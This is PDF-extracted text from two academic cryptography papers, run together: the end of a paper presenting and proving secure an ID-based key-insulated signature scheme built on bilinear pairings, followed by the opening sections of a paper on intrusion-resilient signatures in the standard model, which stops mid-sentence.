random-access key-updates.

1.3 Organization

The rest of this paper is organized as follows. Section 2 gives an introduction to
bilinear pairings and the computational Diffie-Hellman assumption. We formalize
the definition and security notions for IBKIS schemes in Section 3. In Section 4,
an IBKIS scheme is proposed. We prove that our scheme satisfies the strengthen
security notions in Section 5, and concludes this paper in Section 6.
Notations. Throughout this paper, let Zq denote {0, 1, 2, · · · , q − 1}, and Z

∗
q

denote Zq\{0}. By ∈R S, it means choosing a random element from the set S
with a uniform distribution. For convenience, we equate a user with its identity.
Negligible Function. We say a function f : N → R is negligible if for every
constant c ≥ 0 there exists an integer kc such that f(k) < k−c for all k > kc.

2 Preliminaries

2.1 Bilinear Pairings

We briefly review the necessary about bilinear pairing. Let G1 be a cyclic additive
group of prime order q, and G2 be a cyclic multiplicative group of the same order
q. A bilinear pairing is a map ê : G1 × G1 → G2 with the following properties:
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– Bilinearity: ∀P, Q ∈ G1, ∀a, b ∈ Z
∗
q , we have ê(aP, bQ) = ê(P, Q)ab;

– Non-degeneracy: There exist P, Q ∈ G1 such that ê(P, Q) �= 1;
– Computability: There exists an efficient algorithm to compute ê(P, Q) for

∀P, Q ∈ G1.

As shown in [3], such non-degenerate admissible maps over cyclic groups can
be obtained from the Weil or Tate pairing over supersingular elliptic curves or
abelian varieties.

2.2 Computational Diffie-Hellman Assumption

We proceed to recall the definition of computational Diffie-Hellman (CDH) as-
sumption on which our scheme is based.

Definition 1. The CDH problem in group G1 is, given (P, ap, bP ) ∈ G
3
1 for

some unknown a, b ∈R Z
∗
q, to compute abP ∈ G1. For a polynomial-time adver-

sary A, we define his advantage against the CDH problem in group G1 as

AdvCDH
A � Pr

[
P ∈R G1, a, b ∈R Z

∗
q : A(P, aP, bP ) = abP

]
,

where the probability is taken over the random coins consumed by A.

Definition 2. We say that the (t, ε)-CDH assumption holds in group G1, if
no t-time adversary A has advantage at least ε in solving the CDH problem in
G1.

3 Framework of ID-Based Key-Insulated Signature

In [32], Zhou et al. gave the definition and security notion for IBKIS schemes.
However, their definition does not includes the key-update algorithm performed
by the user, and their security notion just allows for the standard key-insulated
security. In this section, we first re-formalize the definition for IBKIS schemes,
and then give security notions even allowing the attacks that compromise the
helper and the storage while temporary secret key is being updated.

3.1 Syntax

Definition 3. An IBKIS scheme consists of six polynomial-time algorithms:

Setup (k, N): a probabilistic setup algorithm, taking as input the security param-
eters k and (possibly) the total number of time periods N , returns a public
parameter param and a master key msk.

Extract (msk, param, ID): a probabilistic key extraction algorithm performed by
PKG, taking as input the master key msk, the public parameter param and
a user’s identity ID ∈ {0, 1}∗, returns this user’s initial secret key TSKID,0
and helper key HKID.

Upd* (i, j, ID, HKID): a (possibly) probabilistic helper-key update algorithm
performed by the helper for user ID, taking as input time period indices
i and j, a user’s identity ID and helper key HKID, returns a partial secret
key PSKID,i,j.
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Upd (i, j, ID, PSKID,i,j, TSKID,j): a deterministic temporary secret key up-
date algorithm performed by user, taking as input time period indices i and
j, a user’s identity ID, temporary secret key TSKID,j and partial secret key
PSKID,i,j, returns the temporary secret key TSKID,i.

Sig (i, M, TSKID,i): a probabilistic signing algorithm, taking as input a time
period index i, a message M and the temporary secret key TSKID,i, returns
a pair (i, σ) composed of the time period i and a signature σ.

Ver ((i, σ), M, ID): a deterministic verification algorithm taking as input a mes-
sage M , a candidate signature (i, σ) on M and the user’s identity ID, returns
1 if (i, σ) is a valid signature, and 0 otherwise.

Consistency of IBKIS scheme requires that for ∀i ∈ {1, · · · , N}, ∀M ∈ M,
∀ID ∈ {0, 1}∗, Ver((i, σ), M, ID) = 1 always holds, where (i, σ) =
Sig(i, M, TSKID,i) and M denotes the message space.

Remark 1. The above definition corresponds to schemes supporting random-
access key-updates [12]; that is, one can update TSKID,j to TSKID,i in one
“step” for any i, j ∈R {1, · · · , N}. A weaker definition allows i = j +1 only. Our
proposed scheme in this paper supports random-access key-updates.

Remark 2. If the total number of time periods, say N , is not fixed in algorithm
Setup, then we say that it supports unbounded number of time periods. Note
that those schemes without this property suffer from a shortcoming, i.e., when
all the time periods are used up, these schemes can not work unless they are
re-initialized.

3.2 Security Notions for IBKIS

Dodis et al. [11] formalized the security notions of key-insulation, strong key-
insulation and secure key-updates for standard key-insulated signatures. In this
section, we also formalize these security notions for IBKIS schemes. Note that
in [32] they did not consider notions of strong key-insulated and secure key-
updates.

The key-insulated security in [11] modeled an attacker who is allowed to issue
temporary secret key queries and signing queries, whereas the helper-key queries
is not provided for him. To model this notion in IBKIS scenarios, besides the
temporary secret key queries and signing queries, we also provided the key-
extraction queries for the adversary.

Definition 4. An IBKIS scheme is called perfectly key-insulated if for any
polynomial-time adversary F , his advantage in the following game is negligible:

1) The challenger CC runs algorithm Setup to generate param and msk. He
gives param to F and keeps msk itself.

2) F adaptively issues a series of queries as below:
– Key-extraction query 〈ID〉: C runs algorithm Extract and obtains an ini-

tial secret key TSKID,0 and a helper key HSKID. Challenger C returns
(TSKID,0, HSKID) to F ;
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– Temporary secret key query 〈ID, i〉: C runs algorithm Upd and obtains
the temporary secret key TSKID,i, which is returned to F ;

– Signing queries 〈i, ID, m〉: C runs algorithm Sig(i, m, ID, TSKID,i) and
obtains a signature (i, σ), which is returned to F .

3) After a polynomial number of queries, F outputs a tuple (i∗, ID∗, m∗, σ∗).
We say that F wins the game if the following conditions are satisfied: (1)
Ver((i∗, σ∗), m∗, ID∗) = 1; (2) F is disallowed to issue a key-extraction
query on identity ID∗; (3) 〈ID∗, i∗〉 was never appeared in the temporary
secret key queries; (4) (i∗, σ∗) was not returned by the signing oracle on in-
put 〈i∗, ID∗, m∗〉.

We define F ’s advantage as the probability of winning this game.

Remark 3. In the above definition, helper-key queries is not explicitly provide for
A, however, he can obtain the helper-key for any identity (except the challenged
one) by issuing key-extraction queries.

Remark 4. Dodis et al. [11] considered the (t, N)-key-insulated security which
bounds the number of A’s temporary secret key queries by at most t, where N
denotes the total number of time periods. Here we do not consider this definition
and directly address the perfectly key-insulated security, which does not bound
the number of the temporary secret key queries for A, i.e., A is allowed to issue
any temporary secret key query except for 〈ID∗, i∗〉.

In [11], Dodis et al. also gave a notion named strong key-insulated by addressing
an attacker who can compromise the helper device (this includes attacks by
the helper device itself, in case it is untrusted). They modeled this attack by
giving the helper key to the attacker. Here, we can also deal with this kind of
attack by allowing the adversary to issue the helper-key queries for any identity
(even including the challenged identity). However, as the notion of strong key-
insulated in [11], the adversary is prohibited to issue temporary secret key queries
on the challenged identity for any time period. Note that the adversary is allowed
to obtain the temporary secret key for any other identity in any time period.
Since these temporary secret keys can be derived from the key-extraction queries
implicitly, we do not provide the temporary secret key queries for the adversary
in the following definition.

Definition 5. An IBKIS scheme is called strong key-insulated if for any
polynomial-time adversary F , his advantage in the following game is negligible:

1) The challenger C runs the setup algorithm Setup to generate param and msk.
He gives param to F and keeps msk itself.

2) F adaptively issues a series of queries as below:
– Key-extraction query 〈ID〉: C responds these queries in the same way as

Definition 4;
– Helper-key query 〈ID〉: C runs algorithm Extract and obtains the helper

key HSKID. C returns HSKID to F ;
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– Signing query 〈i, ID, m〉: C responds these queries in the same way as
Definition 4.

3) After a polynomial number of queries, F outputs a tuple (i∗, ID∗, m∗, σ∗).
We say that F wins the game if the following conditions are satisfied: (1)
Ver((i∗, σ∗), m∗, ID∗) = 1; (2) F is disallowed to issue a key-extraction query
on identity ID∗; (3) (i∗, σ∗) was never returned by the signing oracle on input
〈i∗, ID∗, m∗〉.

We define F ’s advantage as the probability of winning this game.

Remark 5. At first glance, the helper-key query is redundant in Definition 5,
since the key-extraction query implies the helper-key query. We note that it
is reasonable to provide helper-key queries for A in this definition, since A is
disallowed to issue key-extraction query on ID∗, whereas he can issue helper-key
query on ID∗.

The security notions described in this subsection can be easily adapted to the
random oracle model, where the adversary has access to random hash functions.

Finally, we address an adversary who compromises the user’s storage while a
key is being updated from TSKID,j to TSKID,i, and we call it a key-update
exposure at (j, i). When this occurs, the adversary receives TSKID,i, PSKID,i,j

and TSKID,i (actually, the latter can be computed from the formers). We say
an IBKIS scheme has secure key-updates if a key-update exposure at (j, i) is
of no more help to the adversary than temporary secret key exposures at both
periods j and i.

Definition 6. An IBKIS scheme has secure key-updates if the view of any
adversary A making a key-update exposure at (j, i) can be perfectly simulated by
an adversary A′ making temporary secret key queries at periods j and i.

To end current subsection, we list the desirable properties for a key-insulated
signature scheme as follows: random-access key-updates, unbounded number
of time periods, perfectly key-insulated, strong key-insulated and secure key-
updates.

4 Our Proposed Scheme

4.1 Construction

The proposed IBKIS scheme consists of the following six algorithms:

Setup: given a security parameter k, this algorithm works as follows:
1) Choose two cyclic groups G1 and G2 with prime order q of size k. Let

P be a random generator of G1, and ê be a bilinear map such that
ê : G1 × G1 → G2. Choose three cryptographic hash functions H1, H2
and H3 such that H1 : {0, 1}∗ → G1, H2 : {0, 1}∗ → G1 and H3 :
{0, 1}∗ → G1;

2) Pick s ∈R Z
∗
q and set Ppub = sP ;
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3) Return the master key msk = s and the public parameters param =
(G1, G2, ê, q, P, Ppub, H1, H2, H3).

Extract: given an identity ID ∈ {0, 1}∗, PKG produces the initial secret key
and helper key for this user as follows:
1) Choose HKID ∈R Z

∗
q ;

2) Compute TID =HKID ·P and SID,0 =sH1(ID)+HKID ·H2(ID, TID, 0);
3) Return the initial secret key TSKID,0 = (SID,0, TID) and the helper key

HKID.
Upd*: given an identity ID, time period indices i and j, the helper for user ID

works as follows:
1) Compute TID = HKID · P and PSKID,i,j = HKID · (H2(ID, TID, i) −

H2(ID, TID, j));
2) Return the partial temporary secret key PSKID,i,j.

Upd: given a time period index i, a partial secret key PSKID,i,j and the tem-
porary secret key TSKID,j, user ID constructs the temporary secret key for
time period i as follows:
1) Parse TSKID,j as TSKID,j = (SID,j , TID);
2) Set SID,i = SID,j + PSKID,i,j;
3) Return the temporary secret key TSKID,i = (SID,i, TID). Note that

at time period i, SID,i is always set to be SID,i = sH1(ID) + HKID ·
H2(ID, TID, i).

Sig: in time period i, given a message M and the temporary secret key TSKID,i,
user ID produces the signature as follows:
1) Parse TSKID,i as TSKID,i = (SID,i, TID);
2) Choose u ∈R Z

∗
q , and compute U = uP, Pm = H3(i, ID, M, U) ,V =

SID,i + uPm. The signature on M is σ = (U, V, TID);
3) Return (i, σ).

Ver: given a signature (i, σ), an identity ID and a message M , one can verify
the signature as follows:
1) Parse σ as σ = (U, V, TID);
2) Compute Pm = H3(i, ID, M, U);
3) Check whether ê(P, V )= ê(Ppub, H1(ID))ê(TID, H2(ID, TID, i))ê(U, Pm)

holds. If it does, return 1, else return 0.

4.2 Correctness

The consistency of this scheme can be explained as follows:

ê(P, V ) = ê(P, SID,i + uPm)
= ê(P, sH1(ID) + HKID · H2(ID, TID, i) + uPm)
= ê(P, sH1(ID))ê(P, HKID · H2(ID, TID, i))ê(P, uPm)
= ê(Ppub, H1(ID))ê(TID,i, H2(ID, TID, i))ê(U, Pm)
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4.3 Efficiency

The length of public parameter, helper key, temporary secret key and partial
secret key is constant and does not grow with the number of time periods.
However, the key-length of the public key and the helper key in the second
scheme of [11] grows linearly with the number of insulated time periods.

Algorithms Setup, Extract, Upd* and Upd are efficient and their computation
cost does not depend on the the total number of time periods. While the compu-
tation cost of helper key-update algorithm in [15] grows linearly with the total
number of time periods, and the computation cost of helper key-update algo-
rithm in the second scheme of [11] grows linearly with the number of insulated
time periods.

Algorithm Sig is very efficient, since it needs only two scalar multiplications
in group G1, and no pairing computation is involved. Although algorithm Ver
needs four pairing computations, it is acceptable since its computation cost is
constant and does not depend on the number of time periods. On the contrary,
the computation cost of the verification algorithm in [15] grows linearly with the
total number of time periods.

4.4 Desirable Properties

Our scheme supports unbounded number of time periods, since the the total
number of time periods is not fixed in algorithm Setup. Algorithm Upd further
shows that our scheme supports random-access key-updates. In Section 5, we
will prove that our scheme is perfectly key-insulated, strong key-insulated, and
has secure key-updates.

5 Security Analysis

In this section, we give the security analysis for our proposed scheme.

Theorem 1. The proposed scheme is perfectly key-insulated in the random or-
acle model under the CDH assumption in group G1. Concretely, given an adver-
sary A that has advantage ε against the key-insulated security of our proposed
scheme by running within time t, asking at most qhi hash function queries to
Hi (i = 1, 2, 3), qe key-extraction queries, qt temporary secret key queries and qs

signing queries, there exists a (t′, ε′) adversary B that breaks the CDH assump-
tion in group G1 with

t′ < t + (qh1 + qh2 + qh3 + 3qe + 3qt + 5qs + 3)tsm,

ε′ >
ε − 1/2k

e(qe + qt + qs + 1)
,

where e denotes the base of the natural logarithm, and tsm denotes the running
time of computing a scalar multiplication in G1.
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Proof. We will show how to construct a (t′, ε′)-adversary B against the CDH
assumption in group G1. Suppose B is given P (a random generator of G1), X =
aP, Y = bP , for some a, b ∈R Z

∗
q . The task of B is to derive abP by interacting

with adversary A. B runs algorithm Setup, sets Ppub = X and gives param =
(G1, G2, ê, q, P, Ppub, H1, H2, H3) to A as the public parameter. Here H1, H2 and
H3 act as random oracles controlled by B. B answers the hash function queries,
key-extraction queries, temporary secret key queries and signing queries for A
as follows (without loss of generality, we assume that for any temporary secret
key query and signing query on identity ID for time period i, a H1 query was
previously issued for ID):

– H1 queries: B maintains a hash list H list
1 of tuple (ID, b, c, Q) as explained

below. This list is initially empty. When A queries ID to oracle H1, as in
Coron’s proof technique [9], B responds as follows:

• If the query ID has already appeared on the H list
1 , then the previously

defined value is returned.
• Otherwise, B generates a random biased coin c ∈ {0, 1} that yields 0

with probability δ and 1 with probability 1 − δ. B then chooses b ∈ Z
∗
q .

If c = 0 then the hash value H1(ID) is defined as Q = bP ∈ G1. If c = 1
then the hash value H1(ID) is defined as Q = bY ∈ G1. In both cases,
(ID, b, c, Q) is added on H list

1 .
– H2 queries: B maintains a hash list H list

2 which is initially empty. When a
tuple (ID, TID, i) is queried, B first checks whether H list

2 contains a tuple
for this input. If it does, the previously defined value is returned. Otherwise,
B chooses r ∈R Z

∗
q , computes R = rP , stores tuple (ID, TID, i, r, R) in H list

2
and returns R.

– H3 queries: B maintains a hash list H list
3 which is initially empty. When

a tuple (i, ID, M, U) is queried, B first checks whether H list
3 contains a

tuple for this input. If it does, the previously defined value is returned.
Otherwise, B chooses a random w ∈R Z

∗
q , computes W = wP , adds tuple

(i, ID, M, U, w, W ) on H list
3 and returns W .

– Key-extraction queries: B maintains a list Dlist of tuple (ID, HKID, TID)
as explained below. When A asks a key-extraction query on identity ID, B
acts as follows:
1) Check whether Dlist contains a tuple (ID, HKID, TID). If not, B chooses

HKID ∈R Z
∗
q , computes TID = HKID · P and adds (ID, HKID, TID)

on Dlist;
2) Recover tuple (ID, b, c, Q) from H list

1 . If c = 1 then B outputs “failure”
and aborts (denote this event by E1). Otherwise, it means that H1(ID)
was previously defined to be bP ;

3) Set SID,0 = bPpub+HKID·H2(ID, TID, 0) and TSKID,0 = (SID,0, TID).
4) Returns (TSKID,0, HKID) to A.

– Temporary secret key queries: When A asks a temporary secret key query
on identity ID for time period i, B acts as follows:
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1) Recover tuple (ID, TID, i, r, R) from H list
2 and tuple (ID, b, c, Q) from

H list
1 . If c = 1 then B outputs “failure” and aborts (denote this event by

E2). Otherwise, it means that H1(ID) was previously defined to be bP .
2) Check whether Dlist contains a tuple (ID, HKID, TID). If not, B chooses

HKID ∈R Z
∗
q , computes TID = HKID · P and adds (ID, HKID, TID)

on Dlist;
3) Set SID,i = bPpub + HKID · R and return TSKID,i = (SID,i, TID) to A.

– Signing queries: When a signing query (i, ID, M) is coming, B responds as
follows:
1) Check whether Dlist contains a tuple (ID, HKID, TID). If not, B chooses

HKID ∈R Z
∗
q , computes TID = HKID · P and adds (ID, HKID, TID)

on Dlist;
2) Recover tuple (ID, TID, i, r, R) from H list

2 and (ID, b, c, Q) from H list
1 ;

If c = 1 then output “failure” and abort (denote this event by E3);
3) Choose u ∈R Z

∗
q , V ∈R G1, define U = uP (If H3 has already been

defined for the input (i, ID, M, U), then choose another u).
4) Define the hash value H3(i, ID, M, U) as u−1(V −bPpub −rTID). Return

(i, (U, V, TID)) to A. Note that it is a valid signature on M for ID.

Eventually, A outputs a signature σ∗ = (i∗, (U∗, V ∗, TID∗)) for message M∗

and identity ID∗ with the constraint described in Definition 4. B recovers the
tuple (ID∗, b∗, c∗, Q∗) from H list

1 and tuple (ID∗, TID∗ , i∗, r∗, R∗) from H list
2 . If

c∗ = 0 then B outputs “failure” and aborts (denote this event by E4). Otherwise,
B searches H list

3 for the tuple (i∗, ID∗, M∗, U∗, w∗, W ∗). Note that H list
3 contains

this tuple with overwhelming probability (otherwise, B outputs “failure” and
aborts. Denote this event by E5). If A succeeds in this game (i.e., σ∗ is a valid
signature), then we have

ê(P, V ∗) = ê(Ppub, H1(ID∗))ê(TID∗ , H2(ID∗, TID∗ , i∗))ê(U∗, W ∗)

with H1(ID∗) = b∗Y, H2(ID∗, TID∗ , i∗) = r∗P and W ∗ = w∗P for some known
elements b∗, r∗, w∗ ∈ Z

∗
q . Thus we know that

ê(P, abP )b∗
= ê(Ppub, H1(ID∗)) = ê(P, V ∗ − r∗TID∗ − w∗U∗).

Hence B can successfully compute abP = b∗−1(V ∗ − r∗TID∗ − w∗U∗) and break
the CDH assumption in G1.

From the above description of B, we know that the running time of B is
bounded by t′ < t + (qh1 + qh2 + qh3 + 3qe + 3qt + 5qs + 3)tsm.

We now proceed to analyze the advantage of B.
Note that the responses to A’s H1, H2 and H3 queries are indistinguishable

from the real environment, since each response is uniformly random and inde-
pendently distributed in G1. The responses of helper key queries provided for
A are also valid. The responses of key-extraction (temporary secret key, signing
resp.) queries provided for A are valid unless event E1 (E2, E2, resp.) happens.
So if none of events E1, E2 and E3 happens, the simulation provided for A
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is indistinguishable from the real environment. Furthermore, if A succeeds in
forging a valid signature and neither event E4 nor E5 happens, then B can solve
the CDH instance successfully. Now we try to bound the probability for these
events.

From the description of the simulation, we have Pr[¬E1
∧

¬E2
∧

¬E3
∧

¬E4]
= δqe+qt+qs(1 − δ), which is maximized at δopt = qe+qt+qs

qe+qt+qs+1 . Using δopt, the
probability Pr[¬E1

∧
¬E2

∧
¬E3

∧
¬E4] is at least 1

e(1+qe+qt+qs) .
Since H3 acts as a random oracle, we also have Pr[E5] ≤ 1

2k .
Taking the above analysis on these events, we know that B’s advantage is at

least ε−1/2k

e(qe+qt+qs+1) . This concludes the proof. 
�

Theorem 2. The proposed scheme is strong key-insulated in the random oracle
model under the CDH assumption in group G1. Concretely, given an adversary
F that has advantage ε against the strong key-insulated security of our proposed
scheme by running within time t, asking at most qhi hash function queries to
Hi (i = 1, 2, 3), qe key-extraction queries, qh helper key queries and qs signing
queries, there exists a (t′, ε′) adversary B that breaks the CDH assumption in
group G1, where

t′ < t + (qh1 + qh2 + qh3 + 3qe + qh + 5qs + 3)tsm , ε′ >
ε − 1/2k

e(qe + qs + 1)
,

here e denotes the base of the natural logarithm, and tsm denotes the running
time of computing a scalar multiplication in G1.

The proof is similar to those of Theorem 1 and is omitted here.

Theorem 3. The proposed scheme has secure key-updates.

This theorem follows from the fact that for any time period indices i, j and any
identity ID, the partial secret key PSKID,i,j can be derived from TSKID,i and
TSKID,j.

6 Conclusion

With more and more cryptographic primitives are deployed on insecure devices
such as mobile devices, key-exposure seems inevitable. This problem is perhaps
the most devastating attack on a cryptosystem since it typically means that
security is entirely lost. To minimize the damage caused by key-exposure in ID-
based signatures scenarios, Zhou et al. [32] applied the key-insulation method and
proposed an IBKIS scheme. However, their scheme is not strong key-insulated.
In this paper, we re-formalize the definition and security notions for IBKIS
schemes, and then propose a new IBKIS scheme with secure key-updates. The
proposed scheme is strong key-insulated and perfectly key-insulated. Our scheme
also enjoys desirable properties such as unbounded number of time periods and
random-access key-updates.
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Abstract. Intrusion-resilient signatures are key-evolving protocols that
extend the concepts of forward-secure and key-insulated signatures. As
in the latter schemes, time is divided into distinct periods where private
keys are periodically updated while public keys remain fixed. Private keys
are stored in both a user and a base; signature operations are performed
by the user while the base is involved in periodic updates. Such a system
remains secure after arbitrarily many compromises of both modules as
long as break-ins are not simultaneous. Besides, when they simultane-
ously occur within some time period, past periods remain safe. In this
work, we propose the first intrusion-resilient signature in the standard
model (i.e. without random oracles) which provides both short signatures
and at most log-squared private storage in the number of time periods.

Keywords: Intrusion-resilience, standard model, signatures, pairings.

1 Introduction

Key exposures seem to be inevitable and containing their damage is an extremely
important issue in cryptography. The late nineties and the past recent years wit-
nessed the exploration of various approaches to address the problem.

Among them, the concept of intrusion-resilient security [26] strives to com-
bine the benefits of forward-security [3,5], key-insulated [17,18] and proactive
[36,23] security paradigms. As in [3,5,17,18], intrusion-resilient systems involve
public keys that remain unchanged throughout the lifetime of the protocol while
private keys evolve at the beginning of discrete time intervals. Like key-insulated
schemes, they involve a physically-secure (but computationally-limited) device
called base where certain keys are stored. These keys are used to periodically up-
date the user’s short-term secret which is used to sign or decrypt messages. As
in [17,18], this is accomplished so as to preserve the security of past and future
time periods when the signer is compromised (unlike forward-secure cryptosys-
tems [3,5,13] that only protect past time periods). Besides, the intrusion-resilient
model preserves the security in case of compromise of both the signer and the
base as long as they are not simultaneously broken into. Moreover, the security
of past (but not future) periods is retained after such a simultaneous attack.

Security in this strong adversarial model is achieved via frequent refreshes
(akin to proactive mechanisms [36,23]) of base and user keys within each time
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period: the base changes its key and sends a refresh message to the user who in
turn refreshes his key accordingly. Refreshes may take place at arbitrary times
and are transparent to signature verifiers or message senders. They are meant to
prevent attackers compromising the base and the user without a refresh in be-
tween to threaten the security of other time periods. Besides, when an adversary
learns simultaneous base and user keys, the scheme “becomes” forward-secure
in that past time periods remain safe.

In [26], Ikis and Reyzin proposed the first intrusion-resilient signature which
is based on the GQ signature scheme [21] and resorts to the idealized random or-
acle model [6] which is known [12] to only provide heuristic arguments. Promptly
later, Itkis [27] described a generic construction of intrusion-resilient signature
using any ordinary digital signature and without employing random oracles. In
2003, Dodis et al. put forward the first intrusion-resilient public key encryption
scheme [15] built on the forward-secure cryptosystem of Canetti et al. [13] which
itself stems from the hierarchical identity-based encryption (HIBE) scheme of
[19], the latter being an extension of [9]. They subsequently explained [16] how
to generally obtain such a primitive from forward-secure cryptosystems with
suitable properties. In 2004, Malkin, Obana and Yung [33] showed an equiv-
alence relation between key-insulated, intrusion-resilient and proxy signatures
[34]. They proved that all these primitives imply forward-secure signatures. Their
results imply the existence of all these kinds of signatures in the standard model
since key-insulated signatures are known [18] to be implied by identity-based
signatures [38] which exist in the standard model [37]. However, in intrusion-
resilient and forward-secure signatures obtained by applying the generic con-
structions of [33] to some key-insulated scheme, private keys have linear length
in the number of time periods. Hence, we may hope for more efficient non-generic
constructions.

In this paper, we propose an intrusion-resilient signature which is secure in
the standard model and has at most poly-logarithmic complexity (in the number
of stages) in all parameters. It utilizes bilinear maps and features constant-size
signatures. For practical numbers of periods, public keys are not significantly
longer than in a scheme derived from [37] using generic conversions of [33].
Our method combines Waters’s signature [39] with a hierarchical key derivation
technique borrowed from [8]. We first construct a special kind of forward-secure
signature with suitable “homomorphic” properties which is of independent in-
terest1. We then achieve an intrusion-resilient scheme by applying a generic
conversion suggested by Dodis et al. [16] in the setting of public key encryption
and which is easily seen to apply for signature schemes as well. The resulting
system yields much shorter signatures than Itkis’s generic method [27]: in the
latter implemented over N stages, each signature contains a sequence of log N
one-time signatures2 [31] and their public keys (that are typically very long).

1 After the completion of this work, we were informed that our forward-secure signa-
ture was independently discovered in [10] where it was provided with an additional
property allowing for the update of encrypted keys.

2 This can be reduced to log i, where i is the period number, as shown in [27].
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In the following, section 2.1 defines a proper model for special forward-secure
signatures that serve our purposes. Section 2.2 recalls definitions and secu-
rity notions for intrusion-resilient signatures. Our forward-secure scheme and
its intrusion-resilient variant are respectively analyzed in sections 3 and 4.

2 Preliminaries

2.1 Key-Evolving Signatures

A key-evolving signature is a forward-secure signature [3,5] where the user’s
secret key can be “divided” into a local key, only used in signing operation, and
an update key which is involved in key updates and not in signature generation.

Definition 1. A key-evolving signature is specified by the following algorithms.

Keygen: takes as input a security parameter λ and a number of time periods N .
It returns a public key pk and an initial user update key sk0.

Update: takes as input a period number i and the corresponding update key ski.
It returns SKi+1 = (lski+1, ski+1) where ski+1 is the next user update key
and lski+1 is the next user local key.

Sign: takes as input a message M , a period number i and the matching user
local key lski. It returns a signature σ.

Verify: takes as input pk, a period number i and a message M bearing some
purported signature σ. It outputs either 0 or 1.

The usual completeness requirement imposes Verify(pk, i, M, σ) = 1 whenever
σ = Sign(M, i, lski) and SKi = (lski, ski) = Update(ski−1).

Definition 2. A key-evolving signature over N stages is secure against chosen-
message attacks if no PPT adversary has non-negligible advantage in this game.

1. The challenger C runs the key generation algorithm to obtain (pk, sk0) and
gives pk to the forger F .

2. F interacts with the following oracles.
· An update-key oracle Oukey(sk0, .) which, on input of i ∈ {0, . . . , N −1},

returns ski (which is appropriately derived from sk0).
· A local-key oracle Olkey(sk0, .) which, on input of i, returns lski (which

is again appropriately derived from sk0).
· A signing oracle Osig(sk0, .) taking as inputs a period number i and a

message M . From sk0, it derives lski that is used to output a signature
σ on M for period i.

3. F comes up with a message M and a signature σ for some period i�. She
wins if Verify(pk, i�, M, σ) = 1 with these restrictions: M was not queried to
Osig ; queries i to Oukey satisfy i > i� and queries i′ to Olkey satisfy i′ �= i�.

F ’s advantage is her probability of victory taken over coin tosses of A and C. We
say that she (t, qs, ε)-breaks the scheme if she has advantage ε within running in
time t and after qs signing queries.
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As its counterpart for encryption [16], this model is stronger than the standard
security model [5] of forward-secure signatures in that adversaries are allowed to
obtain local keys for any period but i� (and not just for periods i > i�).

2.2 Intrusion-Resilient Signatures

An intrusion-resilient signature [26] scheme consists of the following algorithms.

Keygen: takes a security parameter λ, a number of periods N and a maximal
number of refreshes R in each period. It returns an initial user key SKS0.0,
an initial base key SKB0.0 and a public key PK.

Base Update: takes as input a current base key SKBi.r (for period i, after
r refreshes) and outputs the next base key SKBi+1.0 together with a key
update message SKUi.

User Update: is given a current signer key SKSi.r (for period i, after r re-
freshes) and an update message SKUi. It outputs the next user key
SKSi+1.0.

Base Refresh: takes as input a current base key SKBi.r and outputs a refreshed
base key SKBi.r+1 along with a key refresh message SKRi.r.

User Refresh: takes a current signer key SKSi.r and a refresh message SKRi.r

to return a refreshed signing key SKSi.r+1.
Sign: given a message M , period/refresh numbers (i, r) and the matching signing

key SKSi.r, this algorithm generates a signature σ.
Verify: takes as input PK, a period number i and a message M with an alleged

signature σ. It outputs either 0 or 1.

Syntactically, in such a scheme, private keys are generated as follows:

Set (SKS0.0, SKB0.0, PK) ← Keygen(λ, N, R).
For i = 0 to N − 1:

Set (SKBi+1.0, SKUi) ← Base Update(SKBi.r)
SKSi+1.0 ← User Update(SKSi.r, SKUi).

For r = 0 to R − 1
Set (SKBi+1.r+1, SKRi+1.r) ← Base Refresh(SKBi+1.r)

SKSi+1.r+1 ← User Refresh(SKSi+1.r, SKRi+1.r).

Keys SKSi.0 and SKBi.0 for 0 ≤ i ≤ N are never actually used or stored
as key generation is immediately followed by an update. Besides, each up-
date is followed by a refresh. Hence, adversaries may potentially access these
keys:

SKS∗ = {SKSi.r |1 ≤ i ≤ N, 1 ≤ r ≤ R},

SKB∗ = {SKBi.r |1 ≤ i ≤ N, 1 ≤ r ≤ R},

SKU∗ = {SKUi|1 ≤ i ≤ N − 1},

SKR∗ = {SKRi.r |1 ≤ i ≤ N − 1, 0 ≤ r ≤ R − 1}\{SKR1.0}

For i > 1, SKRi.0 is sent together with SKUi−1. That is why it is accessible.
To define security, we provide a forger F with the following oracles:
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- Osig , the signing oracles which, on input of period/refresh numbers (i, r) and
a message M , returns a signature σ.

- Osec, the key exposure oracle which
1. on input of (“s”,i.r) for 1 ≤ i ≤ N , 1 ≤ r, ≤ R, outputs SKSi.r.
2. on input of (“b”,i.r) for 1 ≤ i ≤ N , 1 ≤ r, ≤ R, outputs SKBi.r.
3. on input of (“u”,i) for 1 ≤ i ≤ N − 1, outputs SKUi and SKRi+1.0.
4. on input of (“r”,i.r) for 1 ≤ i ≤ N , 1 ≤ r, ≤ R, outputs SKRi.r.

It is reasonable to impose adversaries to “respect erasures” in that values that
should have been erased may not be queried or used in signature generation:

- (“s”, i.r) must be queried before (“s”, i′.r′) if (i′.r′) > (i.r);3
- (“b”, i.r) must be queried before (“b”, i′.r′) if (i′.r′) > (i.r);
- (“b”, i.r) must be queried before (“r”, i′.r′) if (i′.r′) > (i.r);
- (“b”, i.r) must be queried before (“u”, i′) if i′ > i.

For a set Q of key exposure queries, a signing key SKSi.r is said to be Q-exposed
if one of the following is true:

- (“s”, i.r) ∈ Q;
- r > 1, (“r”, i.r − 1) ∈ Q and SKSi.r−1 is Q-exposed;
- r = 1, (“u”, i − 1) ∈ Q and SKSi−1.R is Q-exposed;
- r < R, (“r”, i.r) ∈ Q and SKSi.r+1 is Q-exposed;

A completely analogous definition is given for Q-exposure of a base key SKBi.r.
The scheme is said (i�, Q)-compromised if SKSi�.r is Q-exposed, for some r, or
if SKSi′.r and SKBi′.r are both Q-exposed for some i′ < i�. We say that an
adversary is successful if, after polynomially-many queries to the above oracles,
she produces a message-signature pair (M�, σ�) for some period i� provided M�

was not queried to Osig for period i� and the scheme is not (i�, Q)-compromised.

2.3 Bilinear Maps

Groups (G, GT ) of prime order p are called bilinear map groups if there is a
mapping e : G × G → GT with the following properties:

1. bilinearity: e(ga, hb) = e(g, h)ab for any (g, h) ∈ G × G and a, b ∈ Z;
2. efficient computability for any input pair;
3. non-degeneracy: e(g, h) �= 1GT whenever g, h �= 1G.

We require the intractability of the following problem in bilinear map groups.

Definition 3. The � + 1-Diffie-Hellman Problem (� + 1-DH) in a group G

generated by g is to compute g(a�+1) ∈ G given (g, ga, ga2
, . . . , g(a�)) ∈ G�+1.

For the applications we have in mind, the strength of the � + 1-DH assumption
